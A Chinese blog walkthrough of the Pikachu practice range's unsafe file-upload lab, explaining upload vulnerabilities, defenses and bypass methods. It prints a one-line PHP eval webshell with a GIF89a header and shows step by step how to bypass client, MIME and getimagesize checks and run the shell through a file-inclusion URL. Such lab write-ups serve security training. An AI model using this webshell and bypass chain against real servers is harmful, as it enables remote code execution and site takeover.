pikachu靶场-Unsafe Upfileupload

news2024/11/15 8:09:07

文件上传漏洞简述


什么是文件上传漏洞?
 ​ 凡是存在文件上传的地方均有可能存在文件上传漏洞,关于上传文件操作的时候对方代码写的是否完整、是否安全,一旦疏忽了某个地方可能会造成文件上传漏洞。

文件上传的原理


  网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护

文件上传漏洞有哪些危害


 文件可以自定义,可以成为Webshell,通过文件上传来上传后门,直接获取网站权限,属于高危漏洞。上传漏洞与SQL注入或者XSS相比,其风险更大。可以获取数据库信息,可以对服务器提权,获取内网权限。

文件上传漏洞如何查找及判断

1.黑盒查找

文件后台

        进入网站后台不一定能获得网站权限,可以从后台获取网站权限

会员中心

        通过图片上传

​ 文件扫描

        使用工具扫描出后台路径

2.白盒查找

​         通过代码分析到上传漏洞

​         查找文件上传功能

文件上传如何防御

将上传文件与web服务隔离
使用白名单过滤、限制上传文件类型
文件上传路径设置为不可执行权限
检查文件上传路径
自带函数检测,自定义函数检测
图片渲染 对上传文件重命名
对文件内容压缩,重新生成文件内容 检查文件内容


文件上传漏洞绕过的方式有哪些

文件包含绕过
前端限制绕过
文件扩展名绕过
ashx上传绕过
特殊文件名绕过
00截断绕过上传
htaccess解析漏洞
突破MIME限制上传
解析漏洞绕过
条件竞争绕过
CONTENT-LENGTH绕过

一、 client check(客户端检测)

说明:在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。这种验证方式很不安全,很容易被绕过。可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过。

(1)这里设置了白名单,所以直接将一句话木马改成jpg后缀上传

(2)bp抓包,将后缀修改回php后,放包上传

 (3)上传成功,得到文件保存路径为uploads/qjkhcmd.php(很多实际情况并不会返回文件保存的路径,需要自己爆破或猜解获得)

(4)用蚁剑进行连接
成功连接:

二、MIME type服务端检测


说明:服务端会对上传的数据中的content-type字段进行检测,判断其是否为指定的文件格式。

(1)绕过只需要抓包将字段修改为image/jpeg图片类型即可(你开始上传的是图片,就自动变成image/jpeg的类型了),绕过的步骤和上面一样:抓包,修改后缀以及content-type字段,放包,蚁剑连接就行。

这里就不放连接shell的截图了

三、getimagesize()检测


说明:getimagesize函数会去读取文件头部的几个字符串,判断是否为正常图片的开头(各种文件头都是有固定格式,jpg、png等图片都有自己的文件头)

这种方式只能将含有一句话木马的图片上传至服务器端,不能解析,所以要利用文件包含漏洞包含上传的图片,将其解析。

文件包含漏洞


程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。服务器解析执行php文件时能通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,木马就能被成功执行。

所以,这题可以采用制作图片马,利用文件包含漏洞,让图片中的木马解析成功。

(1)步骤:在一句话木马前面添加GIF89a(这是GIF图片文件头,我上面的实验都用的这种形式的一句话木马)

代码如下:

GIF89a
<?=@eval($_POST['cmd']);

 发现上传成功

利用靶场的文件包含漏洞进行利用

拼接url如下:

http://xxxxx/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/05/10/233506645b518282129043202491.jpg&submit=%E6%8F%90%E4%BA%A4

 这个路径是根据上面已经连接的shell拼接出来的,实战环境中只能自己去试它的相对路径

可以看到包含的jpg已经被解析为php且用蚁剑可以连接 ,漏洞利用成功

实战中遇见白名单加这个函数检测可以让你上传图片,但是找不到文件包含点就很难受

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/510011.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1.SpringBoot基础篇

SpringBoot 文档更新日志 版本更新日期操作描述v1.02021/11/14A基础篇 前言 ​ 很荣幸有机会能以这样的形式和互联网上的各位小伙伴一起学习交流技术课程&#xff0c;这次给大家带来的是Spring家族中比较重要的一门技术课程——SpringBoot。一句话介绍这个技术&#xff0c;…

华为pbr双出口外线,指定内网单个vlan绑定单个出口外线上网

公司两条外线&#xff0c;vlan 10用nat走上面转发出去上网&#xff0c;vlan 20 走下面那条外线出去nat上网 AR2&#xff1a; interface GigabitEthernet0/0/0 ip address 6.6.6.1 255.255.255.0 interface GigabitEthernet0/0/1 ip address 154.1.2.3 255.255.255.0 interface…

Python+Selenium4环境搭建

set集合 怎么把列表种相同的数据和不同的数据取出来 1.把列表转为set集合 2.按照集合的交集 selenium 自动化测试&#xff1a;自动化测试就是通过代码或者是工具模拟人的行为来进行对WEB&#xff08;APP&#xff09;来进行操作。 QTP (HP公司)&#xff1a;以录制回放的模式…

集7大模态(视频、图片、音频、文本、深度图、热力图、惯性)的IMAGEBIND

论文&#xff1a;IMAGEBIND: One Embedding Space To Bind Them All GitHub&#xff1a;https://github.com/facebookresearch/ImageBind Meta AI 提出了 ImageBind&#xff0c;它通过利用多种类型的图像配对数据来学习单个共享表示空间。该研究不需要所有模态相互同时出现的数…

《Kubernetes证书篇:基于cfssl工具集一键生成二进制kubernetes集群相关证书(方法一)》

一、背景信息 Kubernetes 需要 PKI 证书才能进行基于 TLS 的身份验证。如果你是使用 kubeadm 安装的 Kubernetes&#xff0c; 则会自动生成集群所需的证书。如果你是使用二进制安装的 Kubernetes&#xff0c;则需要自己手动生成集群所需的证书。 1、首先从etcd算起 1、etcd CA…

百度地图绘制地区的棱柱效果-定位-自定义点-文本标记-信息弹窗

文章目录 百度地图webgl使用自定义地图样式地区镂面棱柱效果绘制点信息以及信息弹窗 百度地图webgl使用 在项目的index.html中引入 <script type"text/javascript" src"//api.map.baidu.com/api?typewebgl&v1.0&ak你的AK秘钥"></script…

花式反转字符串

文章目录 简单反转字符串题目详情分析Java完整代码 反转链表进阶问题题目详情分析Java完整代码 左旋转字符串题目详情分析Java完整代码 反转字符串中的单词题目详情分析Java完整代码 本文对常见的反转字符串题目进行串烧整理。 简单反转字符串 题目详情 编写一个函数&#xf…

9. 对象指针与对象数组

一、对象指针 声明形式&#xff1a; 类名 *对象指针名; Clock c(8, 3, 10); Clock *ptr; ptr &c;通过指针访问对象成员&#xff08;一般类的属性都是封装起来的&#xff0c;因此通常是通过指针访问成员函数&#xff09; 对象指针名->成员名 ptr->getHour();相当于(*…

linux0.12-8-7-signal.c

[334页] (-:这一小节很难理解。但我基本都理解了&#xff0c;哈哈。 1、为什么signal不可靠&#xff0c;而sigaction可靠&#xff1b; 2、 为什么系统调用会被打断&#xff1f; 3、 sys_signal&#xff0c;sys_sigaction&#xff0c;函数作用&#xff1f; 4、 do_signal&#x…

【高项】高级项目管理与组织管理(第4版教材第20-23章,管理科学知识)

文章目录 【高项系列】知识复习1、高级项目管理&#xff08;组织级管理&#xff0c;项目集管理&#xff0c;项目组合管理&#xff0c;量化项目管理&#xff0c;项目成熟度模型&#xff09;1.1 组织级项目管理&#xff08;项目组合项目集, 战略方向一致&#xff0c;0-1分&#x…

python并发编程:并发编程中是选择多线程呢?还是多进程呢?还是多协程呢?

❝ Python对并发编程的支持非常丰富&#xff0c;可以使用多线程、多进程、协程等方式进行并发编程。那么&#xff0c;应该如何选择呢&#xff1f; ❞ Python并发编程有哪些方式 Python并发编程有三种方式: 多线程 Thread 多进程 Process 多协程 Coroutine 什么是CPU密集型计算、…

《花雕学AI》Poe 一站式 AI 工具箱:ChatGPT4 体验邀请,亲,不要错过哦!

你有没有想过&#xff0c;如果你能在同一个平台上体验多种不同的 AI 模型&#xff0c;和他们进行有趣、有用、有深度的对话&#xff0c;甚至还能轻松地分享你的对话给其他人&#xff0c;那该有多好&#xff1f;如果你有这样的想法&#xff0c;那么你一定不能错过 Poe 一站式 AI…

winsows10 下 wsl2 使用 rviz 报错 Segmentation fault 段错误 (核心已转储) 的另一可能解决方案

问题 今天在 wsl 里使用 rviz 时突然报错 Segmentation fault 无法使用了, 报错如下 (base) rootXAIR14:~ $ rviz QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to /tmp/runtime-root [ INFO] [1683702959.671174856]: rviz version 1.13.29 [ INFO] [1683702959.67…

SpringMVC中使用form:form表单标签报500错误

在做数据验证的时候出现了一点bug,先看一下网页报错信息 再看一下后台日志信息 11: 12: <body> 13: 14: <form:form modelAttribute"user" action"/user/login" method"post"> 15: <table> 16: <tr> 17:…

Babel 总结

文章目录 Babel 总结概述安装使用一、添加配置文件二、编写源代码三、配置package.json四、编译代码 对比代码 Babel 总结 概述 Babel 是一个 JavaScript 编译器&#xff0c;主要用于在当前和旧的浏览器或环境中&#xff0c;将 ECMAScript 2015 代码转换为 JavaScript 向后兼…

【软考备战·希赛网每日一练】2023年5月10日

文章目录 一、今日成绩二、错题总结第一题第二题第三题 三、知识查缺 题目及解析来源&#xff1a;2023年05月10日软件设计师每日一练 一、今日成绩 二、错题总结 第一题 解析&#xff1a; proceed v.开始行动&#xff0c;开展&#xff1b;继续做&#xff08;或从事、进行&…

redis之jedis:通过redis的API与Java的集成

什么是jedis&#xff1f; 简而言之&#xff1a;jedis就是通过redis的API对redis的操作&#xff0c;通过Java类对数据库进行操作&#xff0c;注意&#xff1a;使用的命令则是redis数据库的API,jedis是一个java实现的redis客户端连接工具。常用的还有redisson&#xff0c;jedis跟…

力扣 139. 单词拆分

一、题目描述 给你一个字符串 s 和一个字符串列表 word_dict 作为字典。请你判断是否可以利用字典中出现的单词拼接出 s。 注意&#xff1a;不要求字典中出现的单词全部都使用&#xff0c;并且字典中的单词可以重复使用。 示例 1&#xff1a; 输入: s "leetcode"…

【论文解读】Do Prompts Solve NLP Tasks Using Natural Language?

&#x1f365;关键词&#xff1a;文本分类、提示学习 &#x1f365;发表期刊&#xff1a;Arxiv 2022 &#x1f365;原始论文&#xff1a;https://arxiv.org/pdf/2203.00902 最近在做Prompted learning for text classification的工作&#xff0c;Prompted learning的核心在于设…

应急响应之进程,服务,文件排查方法

应急响应之进程,服务,文件排查方法 1.进程Windows进程排查Linux进程排查2.服务Windows服务排查Linux服务排查3.文件痕迹windows系统文件痕迹排查Linux系统文件痕迹排查1.进程 Windows进程排查 对于 Windows 系统中的进程排查,主要是找到恶意进程的 PID、程序路径, 有时还…